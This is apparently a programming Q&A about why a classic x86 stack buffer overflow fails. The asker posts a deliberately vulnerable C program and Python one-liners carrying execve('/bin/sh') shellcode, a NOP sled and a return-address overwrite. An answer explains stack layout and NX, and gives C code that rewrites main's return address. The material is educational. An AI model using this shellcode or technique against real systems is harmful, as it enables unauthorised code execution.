Why is my stack buffer overflow exploit not working?
<p>So I have a really simple stackoverflow:</p>

<pre><code>#include &lt;stdio.h&gt;

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}
</code></pre>

<p>I'm trying to overflow with this code:</p>

<pre><code>$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
</code></pre>

<p>When I overflow the stack, I successfully overwrite EIP with my wanted address but then nothing happens. It doesn't execute my shellcode.</p>

<p>Does anyone see the problem? Note: My python may be wrong.</p>

<hr>

<p>UPDATE</p>

<p>What I don't understand is why my code is not executing. For instance if I point eip to nops, the nops never get executed. Like so,  </p>

<pre><code>$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
</code></pre>

<hr>

<p>UPDATE</p>

<p>Could someone be kind enough to exploit this overflow yourself on linux
 x86 and post the results?</p>

<hr>

<p>UPDATE</p>

<p>Nevermind ya'll, I got it working. Thanks for all your help.</p>

<hr>

<p>UPDATE</p>

<p>Well, I thought I did. I did get a shell, but now I'm trying again and I'm having problems.</p>

<p>All Im doing is overflowing the stack at the beginning and pointing my shellcode there.</p>

<p>Like so,</p>

<pre><code>r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
</code></pre>

<p>This should point to the A's. Now what I dont understand is why my address at the end gets changed in gdb.</p>

<p>This is what gdb gives me,</p>

<pre><code>Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
</code></pre>

<p>The \xcc gets changed to \xcd. Could this have something to do with the error I get with gdb?</p>

<p>When I fill that address with "B"'s for instance it resolves fine with \x42\x42\x42\x42. So what gives?</p>

<p>Any help would be appreciated.</p>

<p>Also, I'm compiling with the following options:</p>

<pre><code>gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
</code></pre>

<p>It's really odd because any other address works except the one I need.</p>

<hr>

<p>UPDATE</p>

<p>I can successfully spawn a shell with the following in gdb,</p>

<pre><code>$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
</code></pre>

<p>But I don't understand why this works sometimes and doesn't work other times. Sometimes my overwritten eip is changed by gdb. Does anyone know what I am missing? Also, I can only spwan a shell in gdb and not in the normal process. And on top of that, I can only seem to start a shell once in gdb and then gdb stops working.</p>

<p>For instance, now when I run the following I get this in gdb...</p>

<pre><code>Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
</code></pre>

<p>This seems to be caused by execstack be turned on.</p>

<hr>

<p>UPDATE</p>

<p>Yeah, for some reason I'm getting different results but the exploit is working now. So thank you everyone for your help. If anyone can explain the results I received above, I'm all ears. Thanks.</p>

<p>This isn't going to work too well [as written]. However, it <em>is</em> possible, so read on ...</p>

<hr>

<p>It helps to know what the actual stack layout is when the <code>main</code> function is called. It's a bit more complicated than most people realize.</p>

<p>Assuming a POSIX OS (e.g. linux), the kernel will set the stack pointer at a fixed address.</p>

<p>The kernel does the following:</p>

<p>It calculates how much space is needed for the environment variable strings (i.e. <code>strlen("HOME=/home/me") + 1</code> for all environment variables and "pushes" these strings onto the stack in a downward [towards lower memory] direction. It then calculates how many there were (e.g. <code>envcount</code>) and creates an <code>char *envp[envcount + 1]</code> on the stack and fills in the <code>envp</code> values with pointers to the given strings. It null terminates this <code>envp</code></p>

<p>A similar process is done for the <code>argv</code> strings.</p>

<p>Then, the kernel loads the ELF interpreter. The kernel starts the process with the starting address of the ELF interpreter. The ELF interpreter [eventually] invokes the "start" function (e.g. <code>_start</code> from <code>crt0.o</code>) which does some init and then calls <code>main(argc,argv,envp)</code></p>

<p>This is [sort of] what the stack looks like when <code>main</code> gets called:</p>

<pre><code>"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"

// alignment pad ...

char *envp[4] = {
    // address of "HOME" string
    // address of "LOGNAME" string
    // address of "SHELL" string
    NULL
};

// string for argv[0] ...
// string for argv[1] ...
// ...

char *argv[] = {
    // pointer to argument string 0
    // pointer to argument string 1
    // pointer to argument string 2
    NULL
}

// possibly more stuff put in by ELF interpreter ...

// possibly more stuff put in by _start function ...
</code></pre>

<p>On an <code>x86</code>, the <code>argc</code>, <code>argv</code>, and <code>envp</code> pointer values are put into the first three argument registers of the <code>x86</code> ABI.</p>

<hr>

<p>Here's the problem [problems, plural, actually] ...</p>

<p>By the time all this is done, you have little to no idea what the address of the shell code is. So, any code you write must be RIP-relative addressing and [probably] built with <code>-fPIC</code>.</p>

<p>And, the resultant code can't have a zero byte in the middle because this is being conveyed [by the kernel] as an EOS terminated string. So, a string that has a zero (e.g. <code>&lt;byte0&gt;,&lt;byte1&gt;,&lt;byte2&gt;,0x00,&lt;byte5&gt;,&lt;byte6&gt;,...</code>) would only transfer the first three bytes and <em>not</em> the entire shell code program.</p>

<p>Nor do you have a good idea as to what the stack pointer value is.</p>

<p>Also, you need to <em>find</em> the memory word on the stack that <em>has</em> the return address in it (i.e. this is what the start function's <code>call main</code> asm instruction pushes).</p>

<p>This word containing the return address must be set to the address of the shell code. But, it doesn't always have a fixed offset relative to a <code>main</code> stack frame variable (e.g. <code>buf</code>). So, you can't predict what word on the stack to modify to get the "return to shellcode" effect.</p>

<p>Also, on <code>x86</code> architectures, there is special mitigation hardware. For example, a page can be marked <code>NX</code> [no execute]. This is usually done for certain segments, such as the stack. If the RIP is changed to point to the stack, the hardware will fault out.</p>

<hr>

<p>Here's the [easy] solution ...</p>

<p><code>gcc</code> has some intrinsic functions that can help: <code>__builtin_return_address</code>, <code>__builtin_frame_address</code>.</p>

<p>So, get the value of the real return address from the intrinsic [call this <code>retadr</code>]. Get the address of the stack frame [call this <code>fp</code>].</p>

<p>Starting from <code>fp</code> and incrementing (by <code>sizeof(void*)</code>) toward higher memory, find a word that matches <code>retadr</code>. This memory location is the one you want to modify to point to the shell code. It will probably be at offset 0 or 8</p>

<p>So, then do: <code>*fp = argv[1]</code> and return.</p>

<p>Note, extra steps may be necessary because if the stack has the <code>NX</code> bit set, the string pointed to by <code>argv[1]</code> is on the stack as mentioned above.</p>

<hr>

<p>Here is some example code that works:</p>

<pre><code>#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/syscall.h&gt;

void
shellcode(void)
{
    static char buf[] = "shellcode: hello\n";
    char *cp;

    for (cp = buf;  *cp != 0;  ++cp);

    // NOTE: in real shell code, we couldn't rely on using this function, so
    // these would need to be the CPP macro versions: _syscall3 and _syscall2
    // respectively or the syscall function would need to be _statically_
    // linked in
    syscall(SYS_write,1,buf,cp - buf);
    syscall(SYS_exit,0);
}

int
main(int argc,char **argv)
{
    void *retadr = __builtin_return_address(0);
    void **fp = __builtin_frame_address(0);
    int iter;

    printf("retadr=%p\n",retadr);
    printf("fp=%p\n",fp);

    // NOTE: for your example, replace:
    //   *fp = (void *) shellcode;
    // with:
    //   *fp = (void *) argv[1]

    for (iter = 20;  iter &gt; 0;  --iter, fp += 1) {
        printf("fp=%p %p\n",fp,*fp);
        if (*fp == retadr) {
            *fp = (void *) shellcode;
            break;
        }
    }

    if (iter &lt;= 0)
        printf("main: no match\n");

    return 0;
}
</code></pre>

python c stack-overflow buffer-overflow